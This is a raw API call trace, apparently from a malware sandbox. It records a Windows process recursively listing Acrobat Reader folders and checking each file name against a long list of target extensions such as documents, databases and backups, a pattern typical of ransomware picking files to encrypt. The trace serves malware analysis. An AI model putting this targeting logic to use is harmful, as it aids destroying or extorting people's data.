	[0176.281] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0176.282] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.282] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0176.283] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.283] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0176.283] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.283] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0176.284] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.284] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0176.285] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.285] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0176.286] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.286] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0176.286] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.286] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0176.287] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.287] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0176.287] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.287] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0176.288] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.288] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0176.289] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.289] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0176.290] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.290] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0176.290] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.290] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0176.290] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.290] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbe4654, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbe4654, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbe4654, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0176.291] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.291] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0176.292] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.292] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0176.292] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0176.292] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0176.292] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\zh-cn") returned 119
	[0176.292] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\zh-cn") returned 1
	[0176.292] lstrlenW (lpString="zh-cn") returned 5
	[0176.292] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-cn") returned -1
	[0176.292] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4220460
	[0176.292] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\zh-cn") returned 119
	[0176.292] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\on-boarding\\js\\nls\\zh-cn\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ba7f0
	[0176.293] FindNextFileW (in: hFindFile=0x5ba7f0, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0176.293] FindNextFileW (in: hFindFile=0x5ba7f0, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0176.293] lstrlenW (lpString="ui-strings.js") returned 13
	[0176.293] lstrlenW (lpString=".1cd") returned 4
	[0176.293] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0176.293] lstrlenW (lpString=".3ds") returned 4
	[0176.293] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0176.293] lstrlenW (lpString=".3fr") returned 4
	[0176.293] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0176.293] lstrlenW (lpString=".3g2") returned 4
	[0176.294] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0176.294] lstrlenW (lpString=".3gp") returned 4
	[0176.294] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0176.294] lstrlenW (lpString=".7z") returned 3
	[0176.294] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0176.294] lstrlenW (lpString=".accda") returned 6
	[0176.294] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0176.294] lstrlenW (lpString=".accdb") returned 6
	[0176.294] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0176.294] lstrlenW (lpString=".accdc") returned 6
	[0176.294] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0176.294] lstrlenW (lpString=".accde") returned 6
	[0176.294] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0176.294] lstrlenW (lpString=".accdt") returned 6
	[0176.294] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0176.294] lstrlenW (lpString=".accdw") returned 6
	[0176.294] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0176.294] lstrlenW (lpString=".adb") returned 4
	[0176.294] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0176.294] lstrlenW (lpString=".adp") returned 4
	[0176.294] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0176.294] lstrlenW (lpString=".ai") returned 3
	[0176.294] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0176.294] lstrlenW (lpString=".ai3") returned 4
	[0176.294] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0176.294] lstrlenW (lpString=".ai4") returned 4
	[0176.294] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0176.295] lstrlenW (lpString=".ai5") returned 4
	[0176.295] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0176.295] lstrlenW (lpString=".ai6") returned 4
	[0176.295] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0176.295] lstrlenW (lpString=".ai7") returned 4
	[0176.295] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0176.295] lstrlenW (lpString=".ai8") returned 4
	[0176.295] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0176.295] lstrlenW (lpString=".anim") returned 5
	[0176.295] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0176.295] lstrlenW (lpString=".arw") returned 4
	[0176.295] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0176.295] lstrlenW (lpString=".as") returned 3
	[0176.295] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0176.295] lstrlenW (lpString=".asa") returned 4
	[0176.295] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0176.295] lstrlenW (lpString=".asc") returned 4
	[0176.295] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0176.295] lstrlenW (lpString=".ascx") returned 5
	[0176.295] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0176.295] lstrlenW (lpString=".asm") returned 4
	[0176.295] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0176.295] lstrlenW (lpString=".asmx") returned 5
	[0176.295] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0176.295] lstrlenW (lpString=".asp") returned 4
	[0176.295] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0176.295] lstrlenW (lpString=".aspx") returned 5
	[0176.295] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0176.295] lstrlenW (lpString=".asr") returned 4
	[0176.295] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0176.295] lstrlenW (lpString=".asx") returned 4
	[0176.295] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0176.295] lstrlenW (lpString=".avi") returned 4
	[0176.295] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0176.296] lstrlenW (lpString=".avs") returned 4
	[0176.296] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0176.296] lstrlenW (lpString=".backup") returned 7
	[0176.296] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0176.296] lstrlenW (lpString=".bak") returned 4
	[0176.296] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0176.296] lstrlenW (lpString=".bay") returned 4
	[0176.296] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0176.296] lstrlenW (lpString=".bd") returned 3
	[0176.296] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0176.296] lstrlenW (lpString=".bin") returned 4
	[0176.296] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0176.296] lstrlenW (lpString=".bmp") returned 4
	[0176.296] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0176.296] lstrlenW (lpString=".bz2") returned 4
	[0176.296] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0176.296] lstrlenW (lpString=".c") returned 2
	[0176.296] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0176.296] lstrlenW (lpString=".cdr") returned 4
	[0176.296] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0176.296] lstrlenW (lpString=".cer") returned 4
	[0176.296] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0176.296] lstrlenW (lpString=".cf") returned 3
	[0176.296] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0176.296] lstrlenW (lpString=".cfc") returned 4
	[0176.296] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0176.296] lstrlenW (lpString=".cfm") returned 4
	[0176.296] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0176.296] lstrlenW (lpString=".cfml") returned 5
	[0176.296] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0176.296] lstrlenW (lpString=".cfu") returned 4
	[0176.296] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0176.296] lstrlenW (lpString=".chm") returned 4
	[0176.297] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0176.297] lstrlenW (lpString=".cin") returned 4
	[0176.297] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0176.297] lstrlenW (lpString=".class") returned 6
	[0176.297] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0176.297] lstrlenW (lpString=".clx") returned 4
	[0176.297] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0176.297] lstrlenW (lpString=".config") returned 7
	[0176.297] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0176.297] lstrlenW (lpString=".cpp") returned 4
	[0176.297] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0176.297] lstrlenW (lpString=".cr2") returned 4
	[0176.297] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0176.297] lstrlenW (lpString=".crt") returned 4
	[0176.297] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0176.297] lstrlenW (lpString=".crw") returned 4
	[0176.297] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0176.297] lstrlenW (lpString=".cs") returned 3
	[0176.297] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0176.297] lstrlenW (lpString=".css") returned 4
	[0176.297] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0176.297] lstrlenW (lpString=".csv") returned 4
	[0176.297] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0176.297] lstrlenW (lpString=".cub") returned 4
	[0176.297] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0176.297] lstrlenW (lpString=".dae") returned 4
	[0176.297] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0176.297] lstrlenW (lpString=".dat") returned 4
	[0176.297] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0176.297] lstrlenW (lpString=".db") returned 3
	[0176.297] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0176.298] lstrlenW (lpString=".dbf") returned 4
	[0176.298] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0176.298] lstrlenW (lpString=".dbx") returned 4
	[0176.298] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0176.298] lstrlenW (lpString=".dc3") returned 4
	[0176.298] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0176.298] lstrlenW (lpString=".dcm") returned 4
	[0176.298] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0176.298] lstrlenW (lpString=".dcr") returned 4
	[0176.298] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0176.298] lstrlenW (lpString=".der") returned 4
	[0176.298] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0176.298] lstrlenW (lpString=".dib") returned 4
	[0176.298] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0176.298] lstrlenW (lpString=".dic") returned 4
	[0176.298] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0176.298] lstrlenW (lpString=".dif") returned 4
	[0176.298] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0176.298] lstrlenW (lpString=".divx") returned 5
	[0176.298] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0176.298] lstrlenW (lpString=".djvu") returned 5
	[0176.298] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0176.298] lstrlenW (lpString=".dng") returned 4
	[0176.298] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0176.298] lstrlenW (lpString=".doc") returned 4
	[0176.298] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0176.298] lstrlenW (lpString=".docm") returned 5
	[0176.298] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0176.298] lstrlenW (lpString=".docx") returned 5
	[0176.298] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0176.298] lstrlenW (lpString=".dot") returned 4
	[0176.298] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0176.298] lstrlenW (lpString=".dotm") returned 5
	[0176.299] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0176.299] lstrlenW (lpString=".dotx") returned 5
	[0176.299] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0176.299] lstrlenW (lpString=".dpx") returned 4
	[0176.299] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0176.299] lstrlenW (lpString=".dqy") returned 4
	[0176.299] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0176.299] lstrlenW (lpString=".dsn") returned 4
	[0176.299] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0176.299] lstrlenW (lpString=".dt") returned 3
	[0176.299] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0176.299] lstrlenW (lpString=".dtd") returned 4
	[0176.299] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0176.299] lstrlenW (lpString=".dwg") returned 4
	[0176.299] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0176.299] lstrlenW (lpString=".dwt") returned 4
	[0176.299] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0176.299] lstrlenW (lpString=".dx") returned 3
	[0176.299] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0176.299] lstrlenW (lpString=".dxf") returned 4
	[0176.299] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0176.299] lstrlenW (lpString=".edml") returned 5
	[0176.299] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0176.299] lstrlenW (lpString=".efd") returned 4
	[0176.299] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0176.299] lstrlenW (lpString=".elf") returned 4
	[0176.299] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0176.299] lstrlenW (lpString=".emf") returned 4
	[0176.299] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0176.299] lstrlenW (lpString=".emz") returned 4
	[0176.299] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0176.299] lstrlenW (lpString=".epf") returned 4
	[0176.300] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0176.300] lstrlenW (lpString=".eps") returned 4
